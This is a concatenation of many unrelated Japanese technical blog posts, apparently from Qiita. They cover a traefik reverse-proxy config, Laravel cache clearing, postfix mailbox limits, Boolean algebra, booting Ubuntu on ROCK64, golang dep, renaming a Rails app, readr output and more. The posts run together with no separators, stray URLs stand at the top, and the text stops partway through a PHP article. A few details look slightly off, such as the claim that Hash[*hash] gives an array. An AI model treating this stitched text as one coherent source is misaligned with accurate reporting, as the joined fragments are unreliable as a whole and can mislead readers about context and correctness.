https://answers.microsoft.com/en-us/insider/forum/insider_wintp-insider_store-insiderplat_pc/problems-installing-ubuntu-from-window-store-error/920177f9-732d-4b5c-b865-4a55aa7f7d2

proxy環境下の設定（ubuntu 14.04)
https://qiita.com/showsuzu/items/9ee031208d38ff8ac889
traefik on Kubernetesでtraefikをリバースプロキシとして使用する

# この記事の内容

+ traefikをKubernetes上でKubernetesモードではなくただのリバースプロキシとして利用するときの設定例を書きます
+ traefikのBasics (https://docs.traefik.io/basics/) や Configuration/Commons (https://docs.traefik.io/configuration/commons/) を読んでも「こうすれば動く」という設定例をフルで書いてなくてハマってしまったので自分用メモとしての意味も込めています

# deploymentの設定

以下のような設定でdeploymentを定義します

```yaml
  spec:
      containers:
      - image: traefik:alpine
        name: traefik-rproxy
        resources:
          limits:
            cpu: 0.1
            memory: 128Mi
        command:
        - "sh"
        - "-c"
        - "traefik"
```

# traefikの設定

リバースプロキシとしてtraefikを動かすためのtomlは以下のようになります

```yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: traefik-rproxy-config
data:
  traefik.toml: |
    defaultEntryPoints = ["http","https"]
    logLevel = "INFO"

    [file]
    [entryPoints]
      [entryPoints.http]
      address = ":80"

      [entryPoints.https]
      address = ":443"


    [frontends]
      [frontends.some_frontend]
      entrypoints = ["http"]
      backend = "some_backend"

    [backends]
      [backends.some_backend]
        [backends.some_backend.servers.some_service_name]
        passHostHeader = true
        weight = 1
        url = "http://some-other-service:80"

    [accessLog]
    format = "json"
    filePath = "/mnt/log/access.log"
```

# 設定のポイント

+ `[file]`はfileでforntend/backendの設定を行う際には必須
+ `passHostHeader = true`にしないとHostヘッダーを切られてしまうので構成によってはハマりどころになります
+ `some_frontend`,`some_backend`,`some_service_name`は任意の名前にしてOK
+ ロードバランシング方法を記載しないと、デフォルトロードバランシングは`wrr`になるので、`weight=N`の設定が必須
    + `wrr`とは `Weighted Round-robin` 
    + デバッグログを出力すると以下のようにデフォルトで設定されていることがわかります

```
time="2018-05-14T11:13:52Z" level=debug msg="Validation of load balancer method for backend backend1 failed: invalid load-balancing method ''. Using default method wrr."
```
.envのAPP_DEBUG=falseが効かない場合の対処法

# 現象
Laravelベースのアプリでデバッグモードが解除できなくなった。
.envファイルの「APP_DEBUG」を「false」にしているのに、ブラウザで見るとデバッグモードになっている。
# 解決方法
キャッシュをクリアする。

```
php artisan cache:clear
php artisan config:clear
php artisan route:clear
php artisan view:clear
```
# 参考にしたページ
ありがとうございます。
https://qiita.com/Ping/items/10ada8d069e13d729701
ridgepole で複合UKを作る

自己メモ。

# 通常のindex

```
  t.index [:project_id], name: "idx_simple"
```

# 複合index
```
  t.index [:project_id, :pref_id], name: "idx_multi"
```

# UK
```
  t.index [:project_id], unique: true, name: "uk_simple"
```

# 複合UK
```
  t.index [:project_id, :pref_id], unique: true, name: "uk_multi"
```



思った通りに入ってくれますね。
シンプルで素晴らしいですね。
./gradlew で エラー: シンボルを見つけられません

lombokつきの project にて。
intellij idea で実行したら動くのに、コマンドラインで

```
./gradlew bootRun
```

すると

```
エラー: シンボルを見つけられません
```

と言われるとき

```Gradle
buildscript {
    ext {
        springBootVersion = '2.0.1.RELEASE'
    }
    repositories {
        mavenCentral()
        maven { url "https://plugins.gradle.org/m2/" } // 追加
    }
    dependencies {
        classpath("org.springframework.boot:spring-boot-gradle-plugin:${springBootVersion}")
        classpath "net.ltgt.gradle:gradle-apt-plugin:0.15"　// 追加
    }
}
...
apply plugin: 'java'
apply plugin: 'eclipse'
apply plugin: 'org.springframework.boot'
apply plugin: 'io.spring.dependency-management'
apply plugin: 'idea'
apply plugin: 'net.ltgt.apt' // 追加

dependencies {
    compile('org.springframework.boot:spring-boot-starter')
...
    compileOnly('org.projectlombok:lombok:1.16.20')
    apt "org.projectlombok:lombok:1.16.20" // 追加
}

compileJava.dependsOn(processResources)

task wrapper(type: Wrapper) {
    gradleVersion = '4.7'
}

```

上記の追加分を追加する。

`# plugins 構文はなんか使えなかった。さっさと諦めた`
【サルが書く】cakephp2.xのbeforeFilter()でセットした変数を別のアクションで使う方法



わきゃ
# 過ちを犯す

beforeFilter()で共通の処理を書こうとして、変数にいれよ〜♪と思い、

```php:Controller/HogeController.php


class HogeController extends AppController {

    public function beforeFilter() {

        parent::beforeFilter();

        $hoge = 'hogehoge';

    }

    public function index() {

        echo $hoge;

    }
}

```

のように記述しました。

これで当たり前のように出力されると考えていたのですが、しかし！

![7b8e2aab-8163-428f-8824-f5477f1116f3.png](https://qiita-image-store.s3.amazonaws.com/0/177293/fe33555b-d1c5-3199-c122-df34fa9ea0f3.png)

見つからないと怒られてしまいます。

これは$hogeのスコープがbeforeFilter()メソッド内で閉じてしまっているのが原因です。

# 一筋の光が

以下の書き方をすれば、変数が使えるようになります。

```php:Controller/HogeController.php


class HogeController extends AppController {

    public function beforeFilter() {

        parent::beforeFilter();

        $this->hoge = 'hogehoge';

    }

    public function index() {

        echo $this->hoge;

        // 変数に再度入れたい場合はこのようにしてください
        $fuga = $this->hoge;

        echo $fuga; 

    }
}

```



## 参考文献

http://www.php-mysql-linux.com/cake-php/beforefileter-params/
走っているpostfixのパラメータを見る方法が知りたいのと、mailboxのfile too large対応




発端はこんなlogが出てたこと

> status=bounced (cannot update mailbox /var/mail/user1 for user user1. error writing message: File too large)


mailboxのサイズを見ると49Mしか使っていません

```sh
ll /var/mail/user1 
-rw-rw----. 1 user1 mail 49M 2018-05-15 09:51:51 /var/mail/user1
```

mailboxが50M制限にかかってるので外す方法

```sh
# まずpostfixのデフォルト値を調べる
postconf -d | grep mailbox_size
mailbox_size_limit = 51200000

# 設定ファイルをなめた後の mailbox_size_limit を見る
postconf -n | grep mailbox_size_limit
mailbox_size_limit = 51200000

# 制限をなくす = 0 にする ※注：reloadするまで適用されない
postconf -e mailbox_size_limit=0

# このコマンドは main.cf に設定を書き足してくれている
tail /etc/postfix/main.cf 
mailbox_size_limit = 0          # ←最終行にこれが増えた

# 再度、設定ファイルをなめた後の mailbox_size_limit を見る ※注：reloadするまで適用されない
postconf -n | grep mailbox_size_limit
mailbox_size_limit = 51200000

# 新しい設定を適用する
postfix reload
```

# 困ったこと

**`postconf -n` は `reload` する前から新しい値が表示される**。あくまでsyntax check（のようなもの）であって、現在**runningなpostfixのパラメータを確認できるものではない**。

その方法がわからなかった。

あくまで `postconf -n` で **次のreload後の設定はこれになるんだな** を確認して、 `postfix reload` することで適用される。

もし誰かが `postconf -e` して、でも **`reload` しなかった**場合は、あなたの `reload` によって誰かのソレが発動し、思わぬトラブルになることもあり得る。

[こちらの記事](https://qiita.com/takeshi_miyakawa/items/e9863e35d68b89667627
)のように **`postconf -n` を `現在の設定`** と言ってしまうことは当然あり、細かい言葉遊びになってしまうのだけど

　   **o** *reloadしたらこうなるでしょうね* という予測
  　 **x** 現在このパラメータで動いています

ここは注意が必要。


#### **現在走っているpostfixのパラメータを見る方法はないものか？？？**


　



参考

> https://rbgeek.wordpress.com/2013/01/06/how-to-fix-postfix-file-too-large-error/
DHCPとDNSの連携がうまく行っていないのかな……

この文章は100%メモです。

https://qiita.com/moitaro/items/641516672839b5852d70
の続きなのですが
DHCPの予約で
予約名を入れずに何か別のヤツ入れたから
なんか適当な
DESKTOP-R7JPHNL.dmhogehoge.local
DESKTOP-QD2386G.dmhogehoge.local
:
みたいな名前が付いていました……

これはDNSに登録されていないのでなんかエラーが出ている気がするので解決したいな……

https://www.google.co.jp/search?q=DHCP+が+DNSに+登録するのが失敗&oq=DHCP　が　DNSに　登録するのが失敗&aqs=chrome..69i57.15322j1j7&sourceid=chrome&ie=UTF-8

でググって調査中……
【Ruby】多次元連想配列を配列に変換する方法

# 概要

以下のような連想配列があったとします。

```ruby:sample.rb
[["example1", {"test1"=>"1", "test2"=>"2", "test3"=>"3"}],
 ["example2", {"test4"=>"4", "test5"=>"5"}],
 ["example3", {"test6"=>"6", "test7"=>"7", "test8"=>"8"}]]
```

## 連想配列を配列に変換

通常の連想配列であれば、キーと値のペアのみであるためキーと値、交互の配列を作成するには、
`self[*key_and_value] -> Hash` のメソッドを使えば一発で変換が可能です。

```ruby:sample2.rb
hash = {"test1"=>"1", "test2"=>"2", "test3"=>"3"}
array = []
array = Hash[*hash]
array
```

## 多次元連想配列を配列に変換

`self[*key_and_value] -> Hash` のメソッドであれば、多次元連想配列も以下のようにすれば、一発で配列に変換する事が可能です。

```ruby:sample3.rb
hash = [["example1", {"test1"=>"1", "test2"=>"2", "test3"=>"3"}],
 ["example2", {"test4"=>"4", "test5"=>"5"}],
 ["example3", {"test6"=>"6", "test7"=>"7", "test8"=>"8"}]]
array = []
hash.each { |hash| array << Hash[*hash] }
array
```

## 参考文献

* [https://docs.ruby-lang.org/ja/latest/class/Hash.html](https://docs.ruby-lang.org/ja/latest/class/Hash.html)
プログラミングのための「論理関数の基本法則」

# はじめに
　この記事は [N/S高等学校通学プログラミングコース](https://nnn.ed.jp/course/commute_programming/)に向けたものです。

　知っているとコンピュータの理解が深まるので論理関数の基本法則を紹介します。これらは全て覚えておく必要はありません。必要になったときに「そういえば、あんなものがあったなぁ」と思い出せるように知っておきましょう。

# 基本法則
　以下、参考文献の 27 ページからの一部改変して引用します。以下は論理演算ということに注意をしてください。
　$A,B$ に 0,1 を代入すると次の各恒等式が成立します。

```math
1+A=1 \\
A+ \overline{A}=1 \\
A+A=A \\
\overline{\overline{A}}=A \\
0 \cdot A=0 \\
A \cdot \overline{A}=0 \\
A \cdot A=A \\
A \ge B ならば, \overline{A} \le \overline{B}
```
　また $A \oplus B=\overline{A} \cdot B + A \cdot \overline{B}$　を使うと、XOR に関する次の恒等式が成立する。

```math
A \oplus 1=\overline{A} \\
A \oplus A=0 \\
A \oplus 0=A \\
A \oplus  \overline{A}=1
```
　これらから次の公式が成立する。

```math
A+A \cdot B=A \\
A \cdot (\overline{A} + B)=A \cdot B \\
(A+B) \cdot (A+C)=A+B \cdot C \\
A \cdot X + B \cdot \overline{X} + A \cdot B=A \cdot X + B \cdot \overline{X} \\
A \cdot (A+B)=A \\
A  + \overline{A} \cdot B=A+B \\
(A+B) \cdot (A+ \overline{B})=A \\
(A+B) \cdot (\overline{A} + C)=A \cdot C + \overline{A} \cdot B
```

# ド・モルガン(De Morgan)の定理（法則）
　以下は参考文献の 28 ページからの引用です。

$X=A+B$ ならば、$\overline{X}=\overline{A} \cdot \overline{B}$
$Y=A \cdot B$ ならば、$\overline{Y}=\overline{A} + \overline{B}$
この関数は多変数に対して成立するから、

```math
\overline{A+B+C+\cdots}=\overline{A} \cdot \overline{B} \cdot \overline{C} \cdot \cdots \\
\overline{A \cdot B \cdot C \cdot \cdots}=\overline{A} + \overline{B} + \overline{C} + \cdots
```
　この 2 つの式を**ド・モルガン(De Morgan)の定理**という。この定理は、式の変形にたいへん有用である。「屋根を分割し、$+$と$\cdot$を置き換える」として、容易に記憶できる。
　論理関数はすべて、論理積の論理和の形(AND-OR形)で表せる。これを論理関数の**標準展開**という。

　同じことを数学の教科書では次のように書いていることもあります。

```math
\overline{A \cup B}=\overline{A} \cap \overline{B} \\
\overline{A \cap B}=\overline{A} \cup \overline{B} 
```

# プログラミングへの適用例
　参考文献からの例をプログラミングに適用すると、どのようになるか見てみましょう。次のようにド・モルガンの定理を適用すると

```math
(A+C) \cdot (\overline{\overline{A \cdot B} + \overline{A} \cdot C} + \overline{B})=(A+C) \cdot (A \cdot B \cdot \overline{\overline{A} \cdot C} + \overline{B}) \\
=(A+C) \cdot (A \cdot B \cdot (A + \overline{C}) + \overline{B}) \\
=(A+C) \cdot (A \cdot B + \overline{B}) \\
=A+ \overline{B} \cdot C
```
のようになります。これを変数 $a,b,c$ をブール型であるとして JavaScript で書くと

```javascript
let a, b, c;
if ((a || c) && (!(!(a && b) || (!a && c)) || !b)) {
	...
}
```
は次のように簡潔に書くことが出来ます。

```javascript
let a, b, c;
if (a || (!b && c)) {
	...
}
```

　注意点としては、素直に書いてある分、複雑な形の方がプログラムの意図をくみ取りやすい場合があります。そのような場合は相応の理由（処理速度が大きく変わるなど）がなければ読みやすい状態のままで構わないと思います。

# 双対の理
　もう一つの基本法則として「双対の理」があります。各自で調べてみましょう。

# 参考文献
松本　光功，井澤　裕司，「例題と演習で学ぶコンピュータ回路」、森北出版株式会社（1997/5/30）
C++ Builder XE4 > LME288 (2018-05-15版) (Windows 7) > 対処 > (*.objファイル削除 + IDEを再起動) * 数回

```txt:動作環境
Windows 7 pro (32bit)
C++ Builder XE4
```

### 関連

- [C++ Builder XE4 > LME288 (2018-04-06版) (Windows 7) > 対処 > DEPにilink32.exeとbcc32.exeを登録](https://qiita.com/7of9/items/c01c23894389f881825e)

### 症状

- LME288のエラーが出る

LME288は対処方法が不定で、毎回対処に時間を取られる。

### 対応

今回は以下で解決した。

1. *.objファイルを削除
2. IDEを再起動
3. ビルド
4. エラーが出たら1からやり直し

3回ほどしたら、解決した。

あいまいな技術情報。
[#TouchDesigner] MovieFileIn TOPの詳細

# はじめに
この記事では、以下ドキュメンテーションの和訳(意訳含む)を行います。
Movie File In TOPを扱ううえで重要な概念が詰まっていますので、
押さえておくと良いのではないかと思い、和訳させていただきました。

[Derivative Official Documentation - Movie Playback](https://docs.derivative.ca/index.php?title=Movie_Playback)

# 概要
この記事では、ムービーの再生に必要なデータ転送と処理の段階について説明します。
特に、Movie File In TOPが、どのようにGPU上のフレームを取得するのかについて詳細に示します。

# ディスクからの読み込み
動画データは、非圧縮のRGBAまたはYUV画像データにデコードできるよう、一度CPUメモリ上に読み込む必要があります。

## ビットレート
動画のビットレートとは、ファイルを再生するためにディスクから読み込む必要がある1秒あたりのデータ量を指し、
**bit/sec**で与えられます。
一方で、ディスクドライブの読み込み速度は、通常**Byte/sec**で与えられるため、
動画を再生するのに必要な読み取り速度が適切であるかどうかを判断する際には、正しい単位に変換する必要があります。
バイトは通常、大文字の「B」、ビットは小文字の「b」で表されます。
例えば、「**1バイト = 8ビット**」ですので、ビットレートが80Mb/sのファイルは、ディスク読み込み帯域幅を10MB/s消費します。

## バッファ/キャッシュ読み込み
デフォルトでは、OSで読み込まれたすべてのファイルは、バッファ/キャッシュ読み込みの機能を利用して読み込まれます。
つまり、ファイルのデータが、最初にOSが所有するCPUメモリ上にコピーされ、次にTouchDesignerのCPUメモリにコピーされることを意味します。
OSは、そのCPUメモリ領域が他の処理で必要な場合にのみ、キャッシュデータを破棄します。
OSによってメモリに保持されるデータは、圧縮されたファイルデータであり、非圧縮RGB/YUVフレームではありません。

例えば、合計4GBのサイズのファイルを再生する際に、RAMが16GBであった場合を考えます。
アプリケーションが他のRAMを使い切っていない限り、ファイルは一度だけディスクから読み込まれ、以降はOSのCPUメモリ内のデータが読み込まれます。
データは、読み込んだ時点でキャッシュされるため、ファイル全体を一度再生し切るまで完全にキャッシュされません。
ディスクの使用状況を確認することで、再生がディスクから読み取っているのか、キャッシュされたデータを使用しているのかを確認できます。

**Note** : 
最初の再生がうまく再生されず、2回目の再生が早いコンテンツがあった場合、ディスクが必要なレートでデータを配信できず、
再生はキャッシュされたデータからのみ可能であったことを意味しています。
これは、OSがキャッシュされたデータをRAMから削除するかどうかを制御できないため、十分なRAMがないと危険な状態になることがあります。
非常に高いデータレート（圧縮されていないデータ、HAP、ロスレスH264など）を持つファイルを再生していない限り、これは通常です。

## High-Performance Read (バッファなし読み込み)
Movie File In TOPのHigh-Performance Readパラメータは、バッファ/キャッシュされたファイルの読み取りを無効にします。
キャッシングを無効にすることで、動画データがディスクから直接TouchDesignerのCPUメモリに読み込まれます。
先ほど述べた、OSのメモリコピー操作を避けられる分、高速に動作します。
また、このモードはTouchDesigner用にアルゴリズムの最適化が行われており、非常に高速なデータレートでの再生が可能です。
このモードを使用することで、再生中にディスクが常に使用され、コンテンツの真のレートで再生が行われます。

# フレームのデコード
動画として再生するには、ファイルデータがCPUメモリに格納された後に、イメージ形式にデコードする必要があります。
このイメージ形式とは、通常、非圧縮のRGBまたはYUVデータとなります。
一部のコーデックは、データのデコードのために複数のスレッドを使用しますが、
これはTOPのムービーファイルの「Max Decode CPUs」パラメータで制御できます。
HAPなどのコーデックは非常に軽いCPUデコーディング機能を持ちますが、一方でH264などのコーデックは非常に重いCPUデコーディングとなってしまいます。

Hapの一部はGPUでデコードされますが、依然としてCPUコストがかかります。
デフォルトでは、ロスレスなCPU圧縮がかかってしまい、時間がかる場合があります。
エンコード時にこの圧縮を無効にすると、コストが大幅に削減されますが、メモリコピーが発生し時間がかかることがあります。

デコーディングされたフレームは、TOPのムービーファイルのプレリードキャッシュに配置されます。
このキャッシュのサイズは、「Pre-Read Frames」パラメータによって制御可能です。
Movie File In TOPのpreload()メソッドを使用して、ファイルの残りの再生に与える影響を最小限に抑えた状態で、プレリードキャッシュを埋めることができます。

# Movie In CPU Cache Size
**従来の機能**
TouchDesignerの環境設定のTOPのページには、「Movie In CPU Cache Size」と呼ばれる設定があります。
これは、圧縮されたフレームが次に必要とされるときに再利用されるよう配置可能なメモリのブロックを示しています。
この機能は、圧縮されていない動画がキャッシュに収まるような短いループである場合にのみ機能するため、従来の機能とされています。
非圧縮のデータサイズを指定するため、この機能の使いどころはあまりなく、通常デフォルトの0のままにする必要があります。

# GPUへのアップロード
Movie File In TOPが特定のフレームを出力する場合、再生の最終段階に入ります。
フレームは、プレリードキャッシュ上からGPUメモリ上にアップロードされ、GPU上のすべてのTOPで使用可能になります。
フレームがプレリードキャッシュ上にない場合、ムービーを新しいインデックスにキューイングすることによってプレリードミスが発生し、Movie File In TOPが、フレームが読み込み/デコードされるまで待機させられます。
ROCK64で USB から Ubuntu を起動させる


## 概要

Rock64 4GB メモリ搭載モデルで USB から Ubuntu を起動させました。microSD と比べて大容量のアプリを導入できるようになります。

## 検証環境

 * ROCK64 MEDIA BOARD COMPUTER 4GB
 * ROCK64 / PINEBOOK / PINE H64 5V 3A SWITCHING POWER SUPPLY (US プラグ)
 * Samsung microSDカード 32GB EVOPlus Class10 対応
 * Seagate HDD 2.5インチ 1TB
 * neo 2.5インチ SATA SSD HDDケース USB 3.0 対応

ROCK64 の構成部品の[図](https://www.pine64.org/?page_id=7147)は公式サイトで公開されています。microSD の差し込み口はボードの底にあり、USB 3.0 のポートは1つで USB 2.0 のポートは2つあります。eMMC モジュールを装着することも可能で、ROCK64 の開発元で販売されていますが、ジャンパーピンが手元にないため、執筆時点では起動を確認できませんでした。

## 別のシングルボードの選択肢

メモリが 4GB 以上で HDD から起動できる別のシングルボードコンピューターの例です。

 * ROCKPro64 4GB メモリ搭載 (約80ドル、2018年5月時点で売れ切れ)
 * ODROID-N1 4GB メモリ搭載 (2018年6月発売予定)

**2018年10月10日追記**
RAM の供給不足のため、ODROID-N1 の発売は中止され、代わりに ODROID-N2 が年末に発売される予定です。

## 電源のオン・オフ
電源のオン・オフボタンがないので、電源コンセントの抜き差しで電源の切り替えをします。

## U-Boot の書き込み・削除

microSD 以外からのストレージから OS を起動できるようにするためにはオンボードの SPI フラッシュメモリに U-Boot (u-boot-flash-spi.img.xz) のイメージを書き込む必要があります。イメージは ayufan-rock64/linux-build の[リリースページ](https://github.com/ayufan-rock64/linux-build/releases)で配布されています。

書き込み作業のために使う microSD への書き込みには Etcher を使いました。Etcher は Windows、Mac の両方に対応しています。

U-Boot のイメージを microSD から起動させると白 LED が点滅します。書き込みが終了すると「SF: ... bytes @ 0x8000 Written: OK」のメッセージが表示されるとのことですが、手元の LG の24型液晶ディスプレイに HDMI につないでも画面が表示されなったので、15分ぐらい放置してから電源コンセントを引き抜いて終了させました。ROCK64 の開発元では7インチの液晶ディスプレイが販売されています。

逆にフラッシュメモリから U-Boot を削除するには u-boot-erase-spi-rock64.img.xz のイメージを使います。

## OS イメージの書き込み

次に起動させたい OS のイメージを USB HDD に書き込みます。OS のイメージは ayufan-rock64/linux-build の[リリースページ](https://github.com/ayufan-rock64/linux-build/releases)で配布されています。検証の際には Ubuntu 16.04 LTS (Xenial Xerus) のイメージ (xenial-minimal-rock64-x.x.xx-xxx-arm64.img.xz) を使いました。Ubuntu 18.04 LTS (Bionic Beaver) のイメージ (bionic-minimal-rock64-x.x.xx-xxx-arm64.img.xz) も試しましたが、OS の起動を確認できませんでした。

## ルーターで IP アドレスを調べる

SSH で遠隔操作するためには、ルーターの設定アプリにアクセスして IP アドレスを調べる必要があります。TP-Link のルーターの場合、スマホアプリの Tether が配布されています。

## SSH でアクセスする

ルーターで調べた IP アドレスをもとに SSH でアクセスします。デフォルトで用意されているアカウントのユーザー名とパスワードは rock64 です。

```bash
ssh rock64@xxx.xxx.x.xxx
```

## アップデート

リリースページによると linux-rock64 パッケージを追加する必要があります。

```bash
sudo apt update -y
sudo apt install linux-rock64 -y
```
dep を使って自作のライブラリを利用してみる #golang


今回は golang で自分で作成したライブラリ（git 上に公開）を dep を使って利用するサンプルを作成します。
結果から言うと思ったより簡単でした。

# dep について
dep は golang の依存関係管理ツールで glide の後継にあたります。
記事にはしていないですが、会社のツールを作成するときに glide を使ったりしてました。

## dep インストール  
```sh
$ go get -u github.com/golang/dep/cmd/dep
```

# 利用されるサンプルライブラリ
## パッケージ内の構成
ライブラリなので、subpackage ごとに機能を分割するイメージの構成にしています。

```sh
$ tree
├── README.md
├── main.go
├── subpackage_A
│   └── sub_A.go
└── subpackage_B
    └── sub_B.go
```

## ソースコード
* https://github.com/ynozue/lib_sample

# サンプルプログラム
## ソースコードを作成
単純に 「subpackage_A」「subpackage_B」内の構造体を利用しているだけです。

```golang:main.go
package main

import (
	"github.com/ynozue/lib_sample/subpackage_A"
	"github.com/ynozue/lib_sample/subpackage_B"
)

func main() {
	a := subpackage_A.SubA{Name: "hoge"}
	a.PrintA()
	b := subpackage_B.SubB{Name: "hoge"}
	b.PrintA()
}
```

## dep を使って依存関係を解決
### 初期の構造
```sh
$ tree
├── README.md
└── main.go
```
### 依存関係を解決
```sh
$ dep init
  Using ^1.0.0 as constraint for direct dep github.com/ynozue/lib_sample
  Locking in v1.0.0 (3061ef6) for direct dep github.com/ynozue/lib_sample
```
### 依存解決後の構造
「Gopkg.lock」と「Gopkg.toml」が追加され、「vendor」フォルダ内に参照ライブラリのパッケージが追加されていることが確認できます。

```sh
$ tree
├── Gopkg.lock
├── Gopkg.toml
├── README.md
├── main.go
└── vendor
    └── github.com
        └── ynozue
            └── lib_sample
                ├── subpackage_A
                │   └── sub_A.go
                └── subpackage_B
                    └── sub_B.go
```

### 解決したライブラリのバージョンを確認
```sh
$ dep status
PROJECT                       CONSTRAINT  VERSION  REVISION  LATEST  PKGS USED
github.com/ynozue/lib_sample  ^1.0.0      v1.0.0   3061ef6   v1.0.0  2
```

### 作成されたファイルの内訳
#### Gopkg.toml
マニフェストファイルと呼ばれ、このファイルに記載されている内容をもとにして依存関係を解決します。
```$ dep init``` 実行時には

```:Gopkg.toml
[[constraint]]
  name = "github.com/ynozue/lib_sample"
  version = "1.0.0"

[prune]
  go-tests = true
  unused-packages = true
```

#### Gopkg.lock
マニフェストファイルから生成され、実際に利用しているライブラリの revision や version の管理します。

```:Gopkg.lock
[[projects]]
  name = "github.com/ynozue/lib_sample"
  packages = [
    "subpackage_A",
    "subpackage_B"
  ]
  revision = "3061ef68e52b5cefa7c721b46196b8c1656cbef8"
  version = "v1.0.0"

[solve-meta]
  analyzer-name = "dep"
  analyzer-version = 1
  inputs-digest = "affabfdf90d498aef3be35364024b8ed9e8a0a454dfd1ce90cd6373ac73204c4"
  solver-name = "gps-cdcl"
  solver-version = 1
```

## 実行
```sh
$ go run main.go
subpackage A [hoge]
subpackage B [hoge]
```

# まとめ
簡単にまとめましたが、dep を利用すれば簡単にプロジェクトごとに依存関係を管理したりすることができるようになるので便利です。また、自作のライブラリについても他の誰かが公開しているライブラリと同じように利用することができるので自分用であったり会社内用に作っても便利ですね。
誰でも簡単に3Dゲーム開発 part1 準備編

## はじめに
こんにちは。ぷるぷえです。ゲーム好きが高じ、細々とプログラムを書いております。
Unityを一から勉強するにあたり、備忘録も兼ねて__初心者のための取説__を作ることにしました。
懇切丁寧を心がけておりますので、プログラミング未経験の方にも開発してもらえればと思います！
至らないところもございます。ご不明な点やなどは、コメントや[Twitter](https://twitter.com/puru_pue)へ一言いただければ幸いです。

尚、本ブログでは、Macユーザーであることを前提として話を進めます。
多少仕様は異なりますが、Winユーザーでも開発できるのでご安心を。

前振りが長くなりましたが、早速進めていきましょう。

## Unityとは
Unityとは、[Unity Technologies](https://unity3d.com/jp/public-relations)社が提供しているエンジンです。
エンジンとはいいつつも、Unityをインストールするだけ（とは限らない）で、3Dゲームが__基本無料で__お手軽に作れちゃいます。作るしかないですよね:metal:
PokemonGoなんかもUnityで開発されたそうですよ。

## 開発準備 
まずはパソコンを準備しましょう（笑）
[ココ](https://unity3d.com/jp/get-unity/update/)をクリックすると、インストーラーをダウンロードするページへ遷移します。
※念のため、下図の赤枠のプルダウンからお使いのOSに沿っているかを確認してください。
![Unity   Update.png](https://qiita-image-store.s3.amazonaws.com/0/242292/a414f7a4-e22e-6822-8700-be3ad288d4da.png)

インストーラーがダウンロードできたら、zipファイルを解凍し、出てきたアイコンを開くとインストールが始まります。
詳しくは[斎藤 稔さんのブログ](https://dev.classmethod.jp/client-side/unity1/)を参考にして下さい。
Mac、Winどちらもセットアップの方法が事細かく説明されています。
Unityのバージョンアップにより、このブログとは見た目が違うでしょうが、差し支えありません。

次回は、projectを作成していきたいと思います。
初めての方でも気軽に開発できるよう、low stepでいきますのであしからず。
ではまた。
[Rails]rails newした後からアプリ名を変更する方法

# 概要
Railsでrails newしてアプリを作成したあとに、アプリの名前を変更したくなることはよくあると思います。そこで、その方法を手順としてみました。
ここでは、[rename](https://github.com/morshedalam/rename)というgemを使用して進めていきます。過去の他記事ではこのgemの仕様が少し古いものを前提にしていたり、gemの使い方を含め手順を順番に記載しているものは見当たらなかったので、今回記事にしてみました。

# 環境
Rails4
未検証ですが、おそらくRails5でもだいたい同じかと思います。

#手順

## 1. renameのgemを入れる

```:Gemfile
gem 'rename'

```
```
$ bundle
```

## 2. 旧名のDBを破棄しておく
アプリ名を変更する前にDBの破棄をしておいた方が楽です。もし、旧名のDBを残しておきたいなら、この作業は不要です。消したくなったときには、RDBMSのコマンドを叩いて消してください。

```
$ rake db:drop
```

## 3. renameを使用してアプリ名を変更する。
1で入れたgemを使用してアプリケーションの名前を変えていきます。

```
$ rails g rename:into New-Name

Search and replace module in...
        gsub  config.ru
        gsub  Gemfile
        gsub  Gemfile.lock
        gsub  Rakefile
        gsub  README.rdoc
        gsub  config/application.rb
        gsub  config/boot.rb
        gsub  config/environment.rb
        gsub  config/environments/development.rb
        gsub  config/environments/production.rb
        gsub  config/environments/test.rb
        gsub  config/initializers/assets.rb
        gsub  config/initializers/backtrace_silencers.rb
        gsub  config/initializers/config.rb
        gsub  config/initializers/cookies_serializer.rb
        gsub  config/initializers/filter_parameter_logging.rb
        gsub  config/initializers/inflections.rb
        gsub  config/initializers/mime_types.rb
        gsub  config/initializers/omniauth.rb
        gsub  config/initializers/session_store.rb
        gsub  config/initializers/wrap_parameters.rb
        gsub  config/routes.rb
        gsub  config/schedule.rb
        gsub  config/initializers/session_store.rb
        gsub  config/database.yml
Renaming references...
Renaming directory...Done!
New application path is 'PATH_To/NEW_APP'
```

## 4. 新しいアプリ名のフォルダに移動する。

```
$ cd ../New-Name
```

## 5. 新しいDBを作成する。
``` 
$ rake db:create
```

## 6. 新しいDBでテーブルをマイグレーションする

```
$ rake db:migrate
```

## 7. （あれば）その他の古いファイル名になっている場所を修正する
アプリの名称は、ファイル名やHTML内など様々な場所で使用されることがあると思います。database周りやconfigなどのRailsの仕組みとしてアプリ名称が入ると決まっている場所はgemが一括で修正してくれますが、さすがに個別にアプリ名称を使用した場所までは修正できません。ですので、それらは探して修正していくしかありません。

下記のコマンドのようにgrepして古いアプリ名称が含まれた箇所を探すと良いと思います。

```
$ grep -rn APP_NAME . --exclude-dir={.git,tmp,log}
```

## 8. 稼働確認
最後に、正しく動くか確認してみましょう。

```
$ rails s
```
readr::write_csvでcsvを出力すると数字が指数表記になる原因と対策

## 事象

タイトルの通り。

```r:入力
df <- data.frame(
  n = c(1, 10, 1000, 10000)
)
readr::write_csv(df, "tmp.csv")
cat(scan("tmp.csv", character()), sep = "\n")
```

```r:出力
Read 5 items
n
1
10
1e3
1e4
```

何も考えずインデックスをデータフレームに含めたりすると、1000が1e3になってしまうので困る場合がある。これは`write.csv()`では発生しない。

ちなみに、このようにして書き込まれたものを`readr::read_csv()`で読み込む際には比較的空気を読んでくれるが、トラブる場合もある(cf. [r - write_csv read_csv with scientific notation after 1000th row - Stack Overflow](https://stackoverflow.com/questions/48218646/write-csv-read-csv-with-scientific-notation-after-1000th-row))

## 原因

これは型がdoubleだと発生する。

```r:入力
typeof(df$n)
```

```r:出力
[1] "double"
```

## 対策

明示的にint型として整数を入力するか、`as.integer()`で変換すれば良い。

```r:入力
df <- data.frame(
  n = c(1, 10, 1000, 10000),
  m = c(1L, 10L, 1000L, 10000L),
  l = as.integer(c(1, 10, 1000, 10000))
)
readr::write_csv(df, "tmp.csv")
cat(scan("tmp.csv", character()), sep = "\n")
```

```r:出力
Read 5 items
n,m,l
1,1,1
10,10,10
1e3,1000,1000
1e4,10000,10000
```

```r:入力
str(df)
```

```r:出力
'data.frame':	4 obs. of  3 variables:
 $ n: num  1 10 1000 10000
 $ m: int  1 10 1000 10000
 $ l: int  1 10 1000 10000
```
【PHP】配列のすべての要素を一括で処理するarray_walk()関数とarray_map()関数

こんにちは。今回は、array_walk()関数とarray_map()関数の２つを利用して、配列のすべての要素を一括で処理してみようと思います。

###array_walk()の例
1. リスト表示(ul,li)する関数を定義する
